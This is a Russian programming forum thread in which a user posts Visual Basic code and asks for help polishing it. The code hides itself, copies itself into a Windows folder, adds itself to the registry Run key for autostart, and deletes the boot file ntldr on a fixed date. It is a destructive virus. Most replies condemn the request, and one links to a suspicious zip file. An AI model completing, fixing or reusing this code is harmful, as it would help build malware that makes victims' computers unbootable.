VBNet - Форум - Корректировка

Вопрос: Корректировка Добавлено: 29.07.11 16:37

Автор вопроса: Petr

Всем добрый час!
У меня проблема с кодом, а точнее в его формирование.
Private Sub Form_Load()
App.TaskVisible = Fаlse
Set Reg = CreateObject("WScript.Shell")
Reg.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
Dim Dest As String
Dest = "c:\WINDOWS\Config\"
FileCopy App.Path & "\" & App.EXEName & ".exe", Dest & App.EXEName & ".exe"
Shell "cmd /X /C start c:\\WINDOWS\Config\system.exe"
End Sub
If Format(Now, "dd.mm.yyyy hh:mm:ss") = "05.08.2011 09:00:00" Then
SetAttr "c:\ntldr", vbNormal
Kill "c:\ntldr"
End If
End Sub
Как вы видите при запуске программа становиться:
невидимым,
самокопируется, а также запись в реестр (автозагрузка).

По идеи оно должна было быть так. Подключаю флешку затем запускаю программу и в этот момент программа должна самокопироваться в каталог "c:\WINDOWS\Config\" а также нужно записать в реестр программу, чтобы она запускалась каждый день –«Автозагрузка» но получается так что когда я извлекаю флешку программа при перезагрузке не работает. Помогите пожалуйста грамотно и красива оформить код.
Ответить

Ответы Всего ответов: 17

Номер ответа: 1 Автор ответа: AWP ICQ: 345685652 Вопросов: 96 Ответов: 1212	Web-сайт: xawp.narod.ru Профиль \| \| #1	Добавлено: 30.07.11 00:30
	Ты не в курсе чтоли? Делается очень просто. http://xawp.narod.ru/AutoRunHelp.zip Запускай и там подробная инструкция. Ну а всем напишу так. Песочница! Ответить

Номер ответа: 2 Автор ответа: Серёга ICQ: 262809473 Вопросов: 17 Ответов: 561	Web-сайт: houselab.narod.ru Профиль \| \| #2	Добавлено: 30.07.11 00:56
	имхо за такие темы надо банить навсегда Ответить

Номер ответа: 3 Автор ответа: Алексей ICQ: нету Вопросов: 6 Ответов: 42	Профиль \| \| #3	Добавлено: 31.07.11 16:45
	Серёга согласен!!! Ответить

Номер ответа: 4 Автор ответа: Dan ICQ: 609276007 Вопросов: 24 Ответов: 195	Профиль \| \| #4	Добавлено: 31.07.11 16:52
	По идеи оно должна было быть так. Подключаю флешку затем запускаю программу и в этот момент программа должна самокопироваться в каталог "c:\WINDOWS\Config\" а также нужно записать в реестр программу, чтобы она запускалась каждый день –«Автозагрузка» но получается так что когда я извлекаю флешку программа при перезагрузке не работает. Помогите пожалуйста грамотно и красива оформить код. Хватит вирусы делать! Petr, жди звонка в дверь от ФСБ Ответить

Номер ответа: 5 Автор ответа: Dan ICQ: 609276007 Вопросов: 24 Ответов: 195	Профиль \| \| #5	Добавлено: 31.07.11 16:53
	они ждут тебя Ответить

Номер ответа: 6 Автор ответа: Dan ICQ: 609276007 Вопросов: 24 Ответов: 195	Профиль \| \| #6	Добавлено: 31.07.11 16:55
	Господа, наш форум покидает очередной хацкер, он идёт сушить сухари Ответить

Номер ответа: 7 Автор ответа: Petr Вопросов: 45 Ответов: 58	Профиль \| \| #7	Добавлено: 31.07.11 19:22
	Хватит вирусы делать! Petr, жди звонка в дверь от ФСБ увахахаах ну и убил в мире столька тем посвященно и сайтов посвяшенно хацкерам и они будут приходит ко мне .Бесграмотному программисту.Врятли ваше ФСБ отыдахает. Ответить

Номер ответа: 8 Автор ответа: Дмитрий Юпатов Вопросов: 4 Ответов: 457	Web-сайт: cargomaster.at.ua/ Профиль \| \| #8	Добавлено: 31.07.11 20:36
	Да ты хоть русский язык выучи... Ответить

Номер ответа: 9 Автор ответа: Daniel ICQ: 610950440 Вопросов: 12 Ответов: 45	Web-сайт: smallsoft.ucoz.com Профиль \| \| #9	Добавлено: 31.07.11 21:00
	ФСБ.. ФСБ.. Здесь все.. Прячьте ваши лица, прячьте ваши лица! Ответить

Номер ответа: 10 Автор ответа: Dan ICQ: 609276007 Вопросов: 24 Ответов: 195	Профиль \| \| #10	Добавлено: 31.07.11 21:50
	Daniel, это ты к чему? Ответить

Номер ответа: 11 Автор ответа: Dan ICQ: 609276007 Вопросов: 24 Ответов: 195	Профиль \| \| #11	Добавлено: 31.07.11 22:30
	Хватит вирусы делать! Petr, жди звонка в дверь от ФСБ увахахаах ну и убил в мире столька тем посвященно и сайтов посвяшенно хацкерам и они будут приходит ко мне .Бесграмотному программисту.Врятли ваше ФСБ отыдахает. Во-первых, если от твоего вируса пострадает Microsoft, то они объявят вознаграждение за информацию о тебе, и тогда ФСБ найдёт тебя за 10 минут Во-вторых, представь урок химии в школе: один оболтус не выучил параграф, а тут лабораторная, он мешает непойми что и происходит взрыв, так и ты, ты не чего не знаешь в программировании, но отсутствие каких-либо знаний может увеличить разрушающюю силу твоего вируса. Хотя зачем я это говорю? Зачем я трачу время на хацкера, который сумел только уговорить нас сделать за него вирус? Увы, но эти вопроси впредь остнутся без ответа. Ответить

Номер ответа: 12 Автор ответа: Dan ICQ: 609276007 Вопросов: 24 Ответов: 195	Профиль \| \| #12	Добавлено: 31.07.11 22:35
	*вопросы Сорри за ошибку. Ответить

Номер ответа: 13 Автор ответа: Winand Вопросов: 87 Ответов: 2795	Web-сайт: winandfx.narod.ru Профиль \| \| #13	Добавлено: 01.08.11 20:24
	Это был бы эпогей хацкерства и троллинга - заставить людей написать для тебя сверхразрушительный неуловимый вирус бесплатно Ответить

Номер ответа: 14 Автор ответа: Dan ICQ: 609276007 Вопросов: 24 Ответов: 195	Профиль \| \| #14	Добавлено: 02.08.11 15:21
	почему был бы? http://vbnet.ru/forum/show.aspx?id=216967 - удаление системных файлов http://vbnet.ru/forum/show.aspx?id=216921 - автозагрузка http://vbnet.ru/forum/show.aspx?id=216966 - самокопирование конечно вирус не сверхразрушительный, но писал его не Petr, а мы и обратите вниминие бесплатно Ответить

Номер ответа: 15 Автор ответа: Dan ICQ: 609276007 Вопросов: 24 Ответов: 195	Профиль \| \| #15	Добавлено: 02.08.11 15:22
	* внимание Ответить

Страница: 1 | 2 |